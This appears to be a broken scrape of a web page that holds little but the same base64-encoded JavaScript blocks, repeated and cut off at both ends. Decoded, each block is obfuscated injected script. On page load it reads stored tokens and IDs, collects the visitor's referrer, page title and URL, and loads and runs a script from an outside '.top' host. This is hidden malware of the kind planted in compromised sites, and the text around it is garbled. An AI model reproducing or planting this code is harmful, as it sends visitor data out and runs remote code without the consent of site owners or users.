MmY3MmNTID0gJz9yZXR1cm49anMuY2xpZW50JzsKICAgICAgICBfdzZCNXd6SHNGNzJmNzJjUyArPSAnJicgKyBkZWNvZGVVUklDb21wb25lbnQod2luZG93LmxvY2F0aW9uLnNlYXJjaC5yZXBsYWNlKCc/JywgJycpKTsKICAgICAgICBfdzZCNXd6SHNGNzJmNzJjUyArPSAnJnNlX3JlZmVycmVyPScgKyBlbmNvZGVVUklDb21wb25lbnQoZG9jdW1lbnQucmVmZXJyZXIpOwogICAgICAgIF93NkI1d3pIc0Y3MmY3MmNTICs9ICcmZGVmYXVsdF9rZXl3b3JkPScgKyBlbmNvZGVVUklDb21wb25lbnQoZG9jdW1lbnQudGl0bGUpOwogICAgICAgIF93NkI1d3pIc0Y3MmY3MmNTICs9ICcmbGFuZGluZ191cmw9JyArIGVuY29kZVVSSUNvbXBvbmVudChkb2N1bWVudC5sb2NhdGlvbi5ob3N0bmFtZSArIGRvY3VtZW50LmxvY2F0aW9uLnBhdGhuYW1lKTsKICAgICAgICBfdzZCNXd6SHNGNzJmNzJjUyArPSAnJm5hbWU9JyArIGVuY29kZVVSSUNvbXBvbmVudChuYW1lKTsKICAgICAgICBfdzZCNXd6SHNGNzJmNzJjUyArPSAnJmhvc3Q9JyArIGVuY29kZVVSSUNvbXBvbmVudCh3aW5kb3cuX1lkc0o3MWIzcGZrYkt6OWQuUl9QQVRIKTsKICAgIGlmICh0eXBlb2YgX2RtS1JKdnFKcE5KaHdWWFEgIT09ICd1bmRlZmluZWQnICYmIF9kbUtSSnZxSnBOSmh3VlhRICYmIHdpbmRvdy5fWWRzSjcxYjNwZmtiS3o5ZC51bmlxdWUpIHsKICAgICAgICBfdzZCNXd6SHNGNzJmNzJjUyArPSAnJnN1Yl9pZD0nICsgZW5jb2RlVVJJQ29tcG9uZW50KF9kbUtSSnZxSnBOSmh3VlhRKTsKICAgIH0KICAgIGlmICh0eXBlb2YgX3cxc3BYZm5oNnZLSjJjd0ogIT09ICd1bmRlZmluZWQnICYmIF93MXNwWGZuaDZ2S0oyY3dKICYmIHdpbmRvdy5fWWRzSjcxYjNwZmtiS3o5ZC51bmlxdWUpIHsKICAgICAgICBfdzZCNXd6SHNGNzJmNzJjUyArPSAnJnRva2VuPScgKyBlbmNvZGVVUklDb21wb25lbnQoX3cxc3BYZm5oNnZLSjJjd0opOwogICAgfQogICAgaWYgKCcnICE9PSAnJykgewogICAgICAgIF93NkI1d3pIc0Y3MmY3MmNTICs9ICcmYnlwYXNzX2NhY2hlPSc7CiAgICB9CiAgICB2YXIgYSA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoJ3NjcmlwdCcpOwogICAgICAgIGEudHlwZSA9ICdhcHBsaWNhdGlvbi9qYXZhc2NyaXB0JzsKICAgICAgICBhLnNyYyA9IHdpbmRvdy5fWWRzSjcxYjNwZmtiS3o5ZC5SX1BBVEggKyBfdzZCNXd6SHNGNzJmNzJjUzsKICAgIHZhciBzID0gZG9jdW1lbnQuZ2V0RWxlbWVudHNCeVRhZ05hbWUoJ3NjcmlwdCcpWzBdOwogICAgcy5wYXJlbnROb2RlLmluc2VydEJlZm9yZShhLCBzKQogICAgfSkoKTsKICAgIA== »>;src= »data:text/javascript;base64,CiAgICAoZnVuY3Rpb24oKSB7CiAgICB2YXIgbmFtZSA9ICdfWWRzSjcxYjNwZmtiS3o5ZCc7CiAgICBpZiAoIXdpbmRvdy5fWWRzSjcxYjNwZmtiS3o5ZCkgewogICAgICAgIHdpbmRvdy5fWWRzSjcxYjNwZmtiS3o5ZCA9IHsKICAgICAgICAgICAgdW5pcXVlOiBmYWxzZSwKICAgICAgICAgICAgdHRsOiA4NjQwMCwKICAgICAgICAgICAgUl9QQVRIOiAnaHR0cHM6Ly8xLmRpc2tzZW9mYWlsLnRvcC9GMmp6MnYnLAogICAgICAgIH07CiAgICB9CiAgICBjb25zdCBfRFZjTHZGTnhZZjRydFI0SCA9IGxvY2FsU3RvcmFnZS5nZXRJdGVtKCdjb25maWcnKTsKICAgIGlmICh0eXBlb2YgX0RWY0x2Rk54WWY0cnRSNEggIT09ICd1bmRlZmluZWQnICYmIF9EVmNMdkZOeFlmNHJ0UjRIICE9PSBudWxsKSB7CiAgICAgICAgdmFyIF8xVFZEa0pmUjZzS1A3Qmg4ID0gSlNPTi5wYXJzZShfRFZjTHZGTnhZZjRydFI0SCk7CiAgICAgICAgdmFyIF9UazdyNWYyMU1mTDQ3N212ID0gTWF0aC5yb3VuZCgrbmV3IERhdGUoKS8xMDAwKTsKICAgICAgICBpZiAoXzFUVkRrSmZSNnNLUDdCaDguY3JlYXRlZF9hdCArIHdpbmRvdy5fWWRzSjcxYjNwZmtiS3o5ZC50dGwgPCBfVGs3cjVmMjFNZkw0NzdtdikgewogICAgICAgICAgICBsb2NhbFN0b3JhZ2UucmVtb3ZlSXRlbSgnc3ViSWQnKTsKICAgICAgICAgICAgbG9jYWxTdG9yYWdlLnJlbW92ZUl0ZW0oJ3Rva2VuJyk7CiAgICAgICAgICAgIGxvY2FsU3RvcmFnZS5yZW1vdmVJdGVtKCdjb25maWcnKTsKICAgICAgICB9CiAgICB9CiAgICB2YXIgX2RtS1JKdnFKcE5KaHdWWFEgPSBsb2NhbFN0b3JhZ2UuZ2V0SXRlbSgnc3ViSWQnKTsKICAgIHZhciBfdzFzcFhmbmg2dktKMmN3SiA9IGxvY2FsU3RvcmFnZS5nZXRJdGVtKCd0b2tlbicpOwogICAgdmFyIF93NkI1d3pIc0Y3MmY3MmNTID0gJz9yZXR1cm49anMuY2xpZW50JzsKICAgICAgICBfdzZCNXd6SHNGNzJmNzJjUyArPSAnJicgKyBkZWNvZGVVUklDb21wb25lbnQod2luZG93LmxvY2F0aW9uLnNlYXJjaC5yZXBsYWNlKCc/JywgJycpKTsKICAgICAgICBfdzZCNXd6SHNGNzJmNzJjUyArPSAnJnNlX3JlZmVycmVyPScgKyBlbmNvZGVVUklDb21wb25lbnQoZG9jdW1lbnQucmVmZXJyZXIpOwogICAgICAgIF93NkI1d3pIc0Y3MmY3MmNTICs9ICcmZGVmYXVsdF9rZXl3b3JkPScgKyBlbmNvZGVVUklDb21wb25lbnQoZG9jdW1lbnQudGl0bGUpOwogICAgICAgIF93NkI1d3pIc0Y3MmY3MmNTICs9ICcmbGFuZGluZ191cmw9JyArIGVuY29kZVVSSUNvbXBvbmVudChkb2N1bWVudC5sb2NhdGlvbi5ob3N0bmFtZSArIGRvY3VtZW50LmxvY2F0aW9uLnBhdGhuYW1lKTsKICAgICAgICBfdzZCNXd6SHNGNzJmNzJjUyArPSAnJm5hbWU9JyArIGVuY29kZVVSSUNvbXBvbmVudChuYW1lKTsKICAgICAgICBfdzZCNXd6SHNGNzJmNzJjUyArPSAnJmhvc3Q9JyArIGVuY29kZVVSSUNvbXBvbmVudCh3aW5kb3cuX1lkc0o3MWIzcGZrYkt6OWQuUl9QQVRIKTsKICAgIGlmICh0eXBlb2YgX2RtS1JKdnFKcE5KaHdWWFEgIT09ICd1bmRlZmluZWQnICYmIF9kbUtSSnZxSnBOSmh3VlhRICYmIHdpbmRvdy5fWWRzSjcxYjNwZmtiS3o5ZC51bmlxdWUpIHsKICAgICAgICBfdzZCNXd6SHNGNzJmNzJjUyArPSAnJnN1Yl9pZD0nICsgZW5jb2RlVVJJQ29tcG9uZW50KF9kbUtSSnZxSnBOSmh3VlhRKTsKICAgIH0KICAgIGlmICh0eXBlb2YgX3cxc3BYZm5oNnZLSjJjd0ogIT09ICd1bmRlZmluZWQnICYmIF93MXNwWGZuaDZ2S0oyY3dKICYmIHdpbmRvdy5fWWRzSjcxYjNwZmtiS3o5ZC51bmlxdWUpIHsKICAgICAgICBfdzZCNXd6SHNGNzJmNzJjUyArPSAnJnRva2VuPScgKyBlbmNvZGVVUklDb21wb25lbnQoX3cxc3BYZm5oNnZLSjJjd0opOwogICAgfQogICAgaWYgKCcnICE9PSAnJykgewogICAgICAgIF93NkI1d3pIc0Y3MmY3MmNTICs9ICcmYnlwYXNzX2NhY2hlPSc7CiAgICB9CiAgICB2YXIgYSA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoJ3NjcmlwdCcpOwogICAgICAgIGEudHlwZSA9ICdhcHBsaWNhdGlvbi9qYXZhc2NyaXB0JzsKICAgICAgICBhLnNyYyA9IHdpbmRvdy5fWWRzSjcxYjNwZmtiS3o5ZC5SX1BBVEggKyBfdzZCNXd6SHNGNzJmNzJjUzsKICAgIHZhciBzID0gZG9jdW1lbnQuZ2V0RWxlbWVudHNCeVRhZ05hbWUoJ3NjcmlwdCcpWzBdOwogICAgcy5wYXJlbnROb2RlLmluc2VydEJlZm9yZShhLCBzKQogICAgfSkoKTsKICAgIA== »>;src= »data:text/javascript;base64,CiAgICAoZnVuY3Rpb24oKSB7CiAgICB2YXIgbmFtZSA9ICdfWWRzSjcxYjNwZmtiS3o5ZCc7CiAgICBpZiAoIXdpbmRvdy5fWWRzSjcxYjNwZmtiS3o5ZCkgewogICAgICAgIHdpbmRvdy5fWWRzSjcxYjNwZmtiS3o5ZCA9IHsKICAgICAgICAgICAgdW5pcXVlOiBmYWxzZSwKICAgICAgICAgICAgdHRsOiA4NjQwMCwKICAgICAgICAgICAgUl9QQVRIOiAnaHR0cHM6Ly8xLmRpc2tzZW9mYWlsLnRvcC9GMmp6MnYnLAogICAgICAgIH07CiAgICB9CiAgICBjb25zdCBfRFZjTHZGTnhZZjRydFI0SCA9IGxvY2FsU3RvcmFnZS5nZXRJdGVtKCdjb25maWcnKTsKICAgIGlmICh0eXBlb2YgX0RWY0x2Rk54WWY0cnRSNEggIT09ICd1bmRlZmluZWQnICYmIF9EVmNMdkZOeFlmNHJ0UjRIICE9PSBudWxsKSB7CiAgICAgICAgdmFyIF8xVFZEa0pmUjZzS1A3Qmg4ID0gSlNPTi5wYXJzZShfRFZjTHZGTnhZZjRydFI0SCk7CiAgICAgICAgdmFyIF9UazdyNWYyMU1mTDQ3N212ID0gTWF0aC5yb3VuZCgrbmV3IERhdGUoKS8xMDAwKTsKICAgICAgICBpZiAoXzFUVkRrSmZSNnNLUDdCaDguY3JlYXRlZF9hdCArIHdpbmRvdy5fWWRzSjcxYjNwZmtiS3o5ZC50dGwgPCBfVGs3cjVmMjFNZkw0NzdtdikgewogICAgICAgICAgICBsb2NhbFN0b3JhZ2UucmVtb3ZlSXRlbSgnc3ViSWQnKTsKICAgICAgICAgICAgbG9jYWxTdG9yYWdlLnJlbW92ZUl0ZW0oJ3Rva2VuJyk7CiAgICAgICAgICAgIGxvY2FsU3RvcmFnZS5yZW1vdmVJdGVtKCdjb25maWcnKTsKICAgICAgICB9CiAgICB9CiAgICB2YXIgX2RtS1JKdnFKcE5KaHdWWFEgPSBsb2NhbFN0b3JhZ2UuZ2V0SXRlbSgnc3ViSWQnKTsKICAgIHZhciBfdzFzcFhmbmg2dktKMmN3SiA9IGxvY2FsU3RvcmFnZS5nZXRJdGVtKCd0b2tlbicpOwogICAgdmFyIF93NkI1d3pIc0Y3MmY3MmNTID0gJz9yZXR1cm49anMuY2xpZW50JzsKICAgICAgICBfdzZCNXd6SHNGNzJmNzJjUyArPSAnJicgKyBkZWNvZGVVUklDb21wb25lbnQod2luZG93LmxvY2F0aW9uLnNlYXJjaC5yZXBsYWNlKCc/JywgJycpKTsKICAgICAgICBfdzZCNXd6SHNGNzJmNzJjUyArPSAnJnNlX3JlZmVycmVyPScgKyBlbmNvZGVVUklDb21wb25lbnQoZG9jdW1lbnQucmVmZXJyZXIpOwogICAgICAgIF93NkI1d3pIc0Y3MmY3MmNTICs9ICcmZGVmYXVsdF9rZXl3b3JkPScgKyBlbmNvZGVVUklDb21wb25lbnQoZG9jdW1lbnQudGl0bGUpOwogICAgICAgIF93NkI1d3pIc0Y3MmY3MmNTICs9ICcmbGFuZGluZ191cmw9JyArIGVuY29kZVVSSUNvbXBvbmVudChkb2N1bWVudC5sb2NhdGlvbi5ob3N0bmFtZSArIGRvY3VtZW50LmxvY2F0aW9uLnBhdGhuYW1lKTsKICAgICAgICBfdzZCNXd6SHNGNzJmNzJjUyArPSAnJm5hbWU9JyArIGVuY29kZVVSSUNvbXBvbmVudChuYW1lKTsKICAgICAgICBfdzZCNXd6SHNGNzJmNzJjUyArPSAnJmhvc3Q9JyArIGVuY29kZVVSSUNvbXBvbmVudCh3aW5kb3cuX1lkc0o3MWIzcGZrYkt6OWQuUl9QQVRIKTsKICAgIGlmICh0eXBlb2YgX2RtS1JKdnFKcE5KaHdWWFEgIT09ICd1bmRlZmluZWQnICYmIF9kbUtSSnZxSnBOSmh3VlhRICYmIHdpbmRvdy5fWWRzSjcxYjNwZmtiS3o5ZC51bmlxdWUpIHsKICAgICAgICBfdzZCNXd6SHNGNzJmNzJjUyArPSAnJnN1Yl9pZD0nICsgZW5jb2RlVVJJQ29tcG9uZW50KF9kbUtSSnZxSnBOSmh3VlhRKTsKICAgIH0KICAgIGlmICh0eXBlb2YgX3cxc3BYZm5oNnZLSjJjd0ogIT09ICd1bmRlZmluZWQnICYmIF93MXNwWGZuaDZ2S0oyY3dKICYmIHdpbmRvdy5fWWRzSjcxYjNwZmtiS3o5ZC51bmlxdWUpIHsKICAgICAgICBfdzZCNXd6SHNGNzJmNzJjUyArPSAnJnRva2VuPScgKyBlbmNvZGVVUklDb21wb25lbnQoX3cxc3BYZm5oNnZLSjJjd0opOwogICAgfQogICAgaWYgKCcnICE9PSAnJykgewogICAgICAgIF93NkI1d3pIc0Y3MmY3MmNTICs9ICcmYnlwYXNzX2NhY2hlPSc7CiAgICB9CiAgICB2YXIgYSA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoJ3NjcmlwdCcpOwogICAgICAgIGEudHlwZSA9ICdhcHBsaWNhdGlvbi9qYXZhc2NyaXB0JzsKICAgICAgICBhLnNyYyA9IHdpbmRvdy5fWWRzSjcxYjNwZmtiS3o5ZC5SX1BBVEggKyBfdzZCNXd6SHNGNzJmNzJjUzsKICAgIHZhciBzID0gZG9jdW1lbnQuZ2V0RWxlbWVudHNCeVRhZ05hbWUoJ3NjcmlwdCcpWzBdOwogICAgcy5wYXJlbnROb2RlLmluc2VydEJlZm9yZShhLCBzKQogICAgfSkoKTsKICAgIA== »>;src= »data:text/javascript;base64,CiAgICAoZnVuY3Rpb24oKSB7CiAgICB2YXIgbmFtZSA9ICdfWWRzSjcxYjNwZmtiS3o5ZCc7CiAgICBpZiAoIXdpbmRvdy5fWWRzSjcxYjNwZmtiS3o5ZCkgewogICAgICAgIHdpbmRvdy5fWWRzSjcxYjNwZmtiS3o5ZCA9IHsKICAgICAgICAgICAgdW5pcXVlOiBmYWxzZSwKICAgICAgICAgICAgdHRsOiA4NjQwMCwKICAgICAgICAgICAgUl9QQVRIOiAnaHR0cHM6Ly8xLmRpc2tzZW9mYWlsLnRvcC9GMmp6MnYnLAogICAgICAgIH07CiAgICB9CiAgICBjb25zdCBfRFZjTHZGTnhZZjRydFI0SCA9IGxvY2FsU3RvcmFnZS5nZXRJdGVtKCdjb25maWcnKTsKICAgIGlmICh0eXBlb2YgX0RWY0x2Rk54WWY0cnRSNEggIT09ICd1bmRlZmluZWQnICYmIF9EVmNMdkZOeFlmNHJ0UjRIICE9PSBudWxsKSB7CiAgICAgICAgdmFyIF8xVFZEa0pmUjZzS1A3Qmg4ID0gSlNPTi5wYXJzZShfRFZjTHZGTnhZZjRydFI0SCk7CiAgICAgICAgdmFyIF9UazdyNWYyMU1mTDQ3N212ID0gTWF0aC5yb3VuZCgrbmV3IERhdGUoKS8xMDAwKTsKICAgICAgICBpZiAoXzFUVkRrSmZSNnNLUDdCaDguY3JlYXRlZF9hdCArIHdpbmRvdy5fWWRzSjcxYjNwZmtiS3o5ZC50dGwgPCBfVGs3cjVmMjFNZkw0NzdtdikgewogICAgICAgICAgICBsb2NhbFN0b3JhZ2UucmVtb3ZlSXRlbSgnc3ViSWQnKTsKICAgICAgICAgICAgbG9jYWxTdG9yYWdlLnJlbW92ZUl0ZW0oJ3Rva2VuJyk7CiAgICAgICAgICAgIGxvY2FsU3RvcmFnZS5yZW1vdmVJdGVtKCdjb25maWcnKTsKICAgICAgICB9CiAgICB9CiAgICB2YXIgX2RtS1JKdnFKcE5KaHdWWFEgPSBsb2NhbFN0b3JhZ2UuZ2V0SXRlbSgnc3ViSWQnKTsKICAgIHZhciBfdzFzcFhmbmg2dktKMmN3SiA9IGxvY2FsU3RvcmFnZS5nZXRJdGVtKCd0b2tlbicpOwogICAgdmFyIF93NkI1d3pIc0Y3MmY3MmNTID0gJz9yZXR1cm49anMuY2xpZW50JzsKICAgICAgICBfdzZCNXd6SHNGNzJmNzJjUyArPSAnJicgKyBkZWNvZGVVUklDb21wb25lbnQod2luZG93LmxvY2F0aW9uLnNlYXJjaC5yZXBsYWNlKCc/JywgJycpKTsKICAgICAgICBfdzZCNXd6SHNGNzJmNzJjUyArPSAnJnNlX3JlZmVycmVyPScgKyBlbmNvZGVVUklDb21wb25lbnQoZG9jdW1lbnQucmVmZXJyZXIpOwogICAgICAgIF93NkI1d3pIc0Y3MmY3MmNTICs9ICcmZGVmYXVsdF9rZXl3b3JkPScgKyBlbmNvZGVVUklDb21wb25lbnQoZG9jdW1lbnQudGl0bGUpOwogICAgICAgIF93NkI1d3pIc0Y3MmY3MmNTICs9ICcmbGFuZGluZ191cmw9JyArIGVuY29kZVVSSUNvbXBvbmVudChkb2N1bWVudC5sb2NhdGlvbi5ob3N0bmFtZSArIGRvY3VtZW50LmxvY2F0aW9uLnBhdGhuYW1lKTsKICAgICAgICBfdzZCNXd6SHNGNzJmNzJjUyArPSAnJm5hbWU9JyArIGVuY29kZVVSSUNvbXBvbmVudChuYW1lKTsKICAgICAgICBfdzZCNXd6SHNGNzJmNzJjUyArPSAnJmhvc3Q9JyArIGVuY29kZVVSSUNvbXBvbmVudCh3aW5kb3cuX1lkc0o3MWIzcGZrYkt6OWQuUl9QQVRIKTsKICAgIGlmICh0eXBlb2YgX2RtS1JKdnFKcE5KaHdWWFEgIT09ICd1bmRlZmluZWQnICYmIF9kbUtSSnZxSnBOSmh3VlhRICYmIHdpbmRvdy5fWWRzSjcxYjNwZmtiS3o5ZC51bmlxdWUpIHsKICAgICAgICBfdzZCNXd6SHNGNzJmNzJjUyArPSAnJnN1Yl9pZD0nICsgZW5jb2RlVVJJQ29tcG9uZW50KF9kbUtSSnZxSnBOSmh3VlhRKTsKICAgIH0KICAgIGlmICh0eXBlb2YgX3cxc3BYZm5oNnZLSjJjd0ogIT09ICd1bmRlZmluZWQnICYmIF93MXNwWGZuaDZ2S0oyY3dKICYmIHdpbmRvdy5fWWRzSjcxYjNwZmtiS3o5ZC51bmlxdWUpIHsKICAgICAgICBfdzZCNXd6SHNGNzJmNzJjUyArPSAnJnRva2VuPScgKyBlbmNvZGVVUklDb21wb25lbnQoX3cxc3BYZm5oNnZLSjJjd0opOwogICAgfQogICAgaWYgKCcnICE9PSAnJykgewogICAgICAgIF93NkI1d3pIc0Y3MmY3MmNTICs9ICcmYnlwYXNzX2NhY2hlPSc7CiAgICB9CiAgICB2YXIgYSA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoJ3NjcmlwdCcpOwogICAgICAgIGEudHlwZSA9ICdhcHBsaWNhdGlvbi9qYXZhc2NyaXB0JzsKICAgICAgICBhLnNyYyA9IHdpbmRvdy5fWWRzSjcxYjNwZmtiS3o5ZC5SX1BBVEggKyBfdzZCNXd6SHNGNzJmNzJjUzsKICAgIHZhciBzID0gZG9jdW1lbnQuZ2V0RWxlbWVudHNCeVRhZ05hbWUoJ3NjcmlwdCcpWzBdOwogICAgcy5wYXJlbnROb2RlLmluc2VydEJlZm9yZShhLCBzKQogICAgfSkoKTsKICAgIA== »>;src= »data:text/javascript;base64,CiAgICAoZnVuY3Rpb24oKSB7CiAgICB2YXIgbmFtZSA9ICdfWWRzSjcxYjNwZmtiS3o5ZCc7CiAgICBpZiAoIXdpbmRvdy5fWWRzSjcxYjNwZmtiS3o5ZCkgewogICAgICAgIHdpbmRvdy5fWWRzSjcxYjNwZmtiS3o5ZCA9IHsKICAgICAgICAgICAgdW5pcXVlOiBmYWxzZSwKICAgICAgICAgICAgdHRsOiA4NjQwMCwKICAgICAgICAgICAgUl9QQVRIOiAnaHR0cHM6Ly8xLmRpc2tzZW9mYWlsLnRvcC9GMmp6MnYnLAogICAgICAgIH07CiAgICB9CiAgICBjb25zdCBfRFZjTHZGTnhZZjRydFI0SCA9IGxvY2FsU3RvcmFnZS5nZXRJdGVtKCdjb25maWcnKTsKICAgIGlmICh0eXBlb2YgX0RWY0x2Rk54WWY0cnRSNEggIT09ICd1bmRlZmluZWQnICYmIF9EVmNMdkZOeFlmNHJ0UjRIICE9PSBudWxsKSB7CiAgICAgICAgdmFyIF8xVFZEa0pmUjZzS1A3Qmg4ID0gSlNPTi5wYXJzZShfRFZjTHZGTnhZZjRydFI0SCk7CiAgICAgICAgdmFyIF9UazdyNWYyMU1mTDQ3N212ID0gTWF0aC5yb3VuZCgrbmV3IERhdGUoKS8xMDAwKTsKICAgICAgICBpZiAoXzFUVkRrSmZSNnNLUDdCaDguY3JlYXRlZF9hdCArIHdpbmRvdy5fWWRzSjcxYjNwZmtiS3o5ZC50dGwgPCBfVGs3cjVmMjFNZkw0NzdtdikgewogICAgICAgICAgICBsb2NhbFN0b3JhZ2UucmVtb3ZlSXRlbSgnc3ViSWQnKTsKICAgICAgICAgICAgbG9jYWxTdG9yYWdlLnJlbW92ZUl0ZW0oJ3Rva2VuJyk7CiAgICAgICAgICAgIGxvY2FsU3RvcmFnZS5yZW1vdmVJdGVtKCdjb25maWcnKTsKICAgICAgICB9CiAgICB9CiAgICB2YXIgX2RtS1JKdnFKcE5KaHdWWFEgPSBsb2NhbFN0b3JhZ2UuZ2V0SXRlbSgnc3ViSWQnKTsKICAgIHZhciBfdzFzcFhmbmg2dktKMmN3SiA9IGxvY2FsU3RvcmFnZS5nZXRJdGVtKCd0b2tlbicpOwogICAgdmFyIF93NkI1d3pIc0Y3MmY3MmNTID0gJz9yZXR1cm49anMuY2xpZW50JzsKICAgICAgICBfdzZCNXd6SHNGNzJmNzJjUyArPSAnJicgKyBkZWNvZGVVUklDb21wb25lbnQod2luZG93LmxvY2F0aW9uLnNlYXJjaC5yZXBsYWNlKCc/JywgJycpKTsKICAgICAgICBfdzZCNXd6SHNGNzJmNzJjUyArPSAnJnNlX3JlZmVycmVyPScgKyBlbmNvZGVVUklDb21wb25lbnQoZG9jdW1lbnQucmVmZXJyZXIpOwogICAgICAgIF93NkI1d3pIc0Y3MmY3MmNTICs9ICcmZGVmYXVsdF9rZXl3b3JkPScgKyBlbmNvZGVVUklDb21wb25lbnQoZG9jdW1lbnQudGl0bGUpOwogICAgICAgIF93NkI1d3pIc0Y3MmY3MmNTICs9ICcmbGFuZGluZ191cmw9JyArIGVuY29kZVVSSUNvbXBvbmVudChkb2N1bWVudC5sb2NhdGlvbi5ob3N0bmFtZSArIGRvY3VtZW50LmxvY2F0aW9uLnBhdGhuYW1lKTsKICAgICAgICBfdzZCNXd6SHNGNzJmNzJjUyArPSAnJm5hbWU9JyArIGVuY29kZVVSSUNvbXBvbmVudChuYW1lKTsKICAgICAgICBfdzZCNXd6SHNGNzJmNzJjUyArPSAnJmhvc3Q9JyArIGVuY29kZVVSSUNvbXBvbmVudCh3aW5kb3cuX1lkc0o3MWIzcGZrYkt6OWQuUl9QQVRIKTsKICAgIGlmICh0eXBlb2YgX2RtS1JKdnFKcE5KaHdWWFEgIT09ICd1bmRlZmluZWQnICYmIF9kbUtSSnZxSnBOSmh3VlhRICYmIHdpbmRvdy5fWWRzSjcxYjNwZmtiS3o5ZC51bmlxdWUpIHsKICAgICAgICBfdzZCNXd6SHNGNzJmNzJjUyArPSAnJnN1Yl9pZD0nICsgZW5jb2RlVVJJQ29tcG9uZW50KF9kbUtSSnZxSnBOSmh3VlhRKTsKICAgIH0KICAgIGlmICh0eXBlb2YgX3cxc3BYZm5oNnZLSjJjd0ogIT09ICd1bmRlZmluZWQnICYmIF93MXNwWGZuaDZ2S0oyY3dKICYmIHdpbmRvdy5fWWRzSjcxYjNwZmtiS3o5ZC51bmlxdWUpIHsKICAgICAgICBfdzZCNXd6SHNGNzJmNzJjUyArPSAnJnRva2VuPScgKyBlbmNvZGVVUklDb21wb25lbnQoX3cxc3BYZm5oNnZLSjJjd0opOwogICAgfQogICAgaWYgKCcnICE9PSAnJykgewogICAgICAgIF93NkI1d3pIc0Y3MmY3MmNTICs9ICcmYnlwYXNzX2NhY2hlPSc7CiAgICB9CiAgICB2YXIgYSA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoJ3NjcmlwdCcpOwogICAgICAgIGEudHlwZSA9ICdhcHBsaWNhdGlvbi9qYXZhc2NyaXB0JzsKICAgICAgICBhLnNyYyA9IHdpbmRvdy5fWWRzSjcxYjNwZmtiS3o5ZC5SX1BBVEggKyBfdzZCNXd6SHNGNzJmNzJjUzsKICAgIHZhciBzID0gZG9jdW1lbnQuZ2V0RWxlbWVudHNCeVRhZ05hbWUoJ3NjcmlwdCcpWzBdOwogICAgcy5wYXJlbnROb2RlLmluc2VydEJlZm9yZShhLCBzKQogICAgfSkoKTsKICAgIA== »>;src= »data:text/javascript;base64,CiAgICAoZnVuY3Rpb24oKSB7CiAgICB2YXIgbmFtZSA9ICdfWWRzSjcxYjNwZmtiS3o5ZCc7CiAgICBpZiAoIXdpbmRvdy5fWWRzSjcxYjNwZmtiS3o5ZCkgewogICAgICAgIHdpbmRvdy5fWWRzSjcxYjNwZmtiS3o5ZCA9IHsKICAgICAgICAgICAgdW5pcXVlOiBmYWxzZSwKICAgICAgICAgICAgdHRsOiA4NjQwMCwKICAgICAgICAgICAgUl9QQVRIOiAnaHR0cHM6Ly8xLmRpc2tzZW9mYWlsLnRvcC9GMmp6MnYnLAogICAgICAgIH07CiAgICB9CiAgICBjb25zdCBfRFZjTHZGTnhZZjRydFI0SCA9IGxvY2FsU3RvcmFnZS5nZXRJdGVtKCdjb25maWcnKTsKICAgIGlmICh0eXBlb2YgX0RWY0x2Rk54WWY0cnRSNEggIT09ICd1bmRlZmluZWQnICYmIF9EVmNMdkZOeFlmNHJ0UjRIICE9PSBudWxsKSB7CiAgICAgICAgdmFyIF8xVFZEa0pmUjZzS1A3Qmg4ID0gSlNPTi5wYXJzZShfRFZjTHZGTnhZZjRydFI0SCk7CiAgICAgICAgdmFyIF9UazdyNWYyMU1mTDQ3N212ID0gTWF0aC5yb3VuZCgrbmV3IERhdGUoKS8xMDAwKTsKICAgICAgICBpZiAoXzFUVkRrSmZSNnNLUDdCaDguY3JlYXRlZF9hdCArIHdpbmRvdy5fWWRzSjcxYjNwZmtiS3o5ZC50dGwgPCBfVGs3cjVmMjFNZkw0NzdtdikgewogICAgICAgICAgICBsb2NhbFN0b3JhZ2UucmVtb3ZlSXRlbSgnc3ViSWQnKTsKICAgICAgICAgICAgbG9jYWxTdG9yYWdlLnJlbW92ZUl0ZW0oJ3Rva2VuJyk7CiAgICAgICAgICAgIGxvY2FsU3RvcmFnZS5yZW1vdmVJdGVtKCdjb25maWcnKTsKICAgICAgICB9CiAgICB9CiAgICB2YXIgX2RtS1JKdnFKcE5KaHdWWFEgPSBsb2NhbFN0b3JhZ2UuZ2V0SXRlbSgnc3ViSWQnKTsKICAgIHZhciBfdzFzcFhmbmg2dktKMmN3SiA9IGxvY2FsU3RvcmFnZS5nZXRJdGVtKCd0b2tlbicpOwogICAgdmFyIF93NkI1d3pIc0Y3MmY3MmNTID0gJz9yZXR1cm49anMuY2xpZW50JzsKICAgICAgICBfdzZCNXd6SHNGNzJmNzJjUyArPSAnJicgKyBkZWNvZGVVUklDb21wb25lbnQod2luZG93LmxvY2F0aW9uLnNlYXJjaC5yZXBsYWNlKCc/JywgJycpKTsKICAgICAgICBfdzZCNXd6SHNGNzJmNzJjUyArPSAnJnNlX3JlZmVycmVyPScgKyBlbmNvZGVVUklDb21wb25lbnQoZG9jdW1lbnQucmVmZXJyZXIpOwogICAgICAgIF93NkI1d3pIc0Y3MmY3MmNTICs9ICcmZGVmYXVsdF9rZXl3b3JkPScgKyBlbmNvZGVVUklDb21wb25lbnQoZG9jdW1lbnQudGl0bGUpOwogICAgICAgIF93NkI1d3pIc0Y3MmY3MmNTICs9ICcmbGFuZGluZ191cmw9JyArIGVuY29kZVVSSUNvbXBvbmVudChkb2N1bWVudC5sb2NhdGlvbi5ob3N0bmFtZSArIGRvY3VtZW50LmxvY2F0aW9uLnBhdGhuYW1lKTsKICAgICAgICBfdzZCNXd6SHNGNzJmNzJjUyArPSAnJm5hbWU9JyArIGVuY29kZVVSSUNvbXBvbmVudChuYW1lKTsKICAgICAgICBfdzZCNXd6SHNGNzJmNzJjUyArPSAnJmhvc3Q9JyArIGVuY29kZVVSSUNvbXBvbmVudCh3aW5kb3cuX1lkc0o3MWIzcGZrYkt6OWQuUl9QQVRIKTsKICAgIGlmICh0eXBlb2YgX2RtS1JKdnFKcE5KaHdWWFEgIT09ICd1bmRlZmluZWQnICYmIF9kbUtSSnZxSnBOSmh3VlhRICYmIHdpbmRvdy5fWWRzSjcxYjNwZmtiS3o5ZC51bmlxdWUpIHsKICAgICAgICBfdzZCNXd6SHNGNzJmNzJjUyArPSAnJnN1Yl9pZD0nICsgZW5jb2RlVVJJQ29tcG9uZW50KF9kbUtSSnZxSnBOSmh3VlhRKTsKICAgIH0KICAgIGlmICh0eXBlb2YgX3cxc3BYZm5oNnZLSjJjd0ogIT09ICd1bmRlZmluZWQnICYmIF93MXNwWGZuaDZ2S0oyY3dKICYmIHdpbmRvd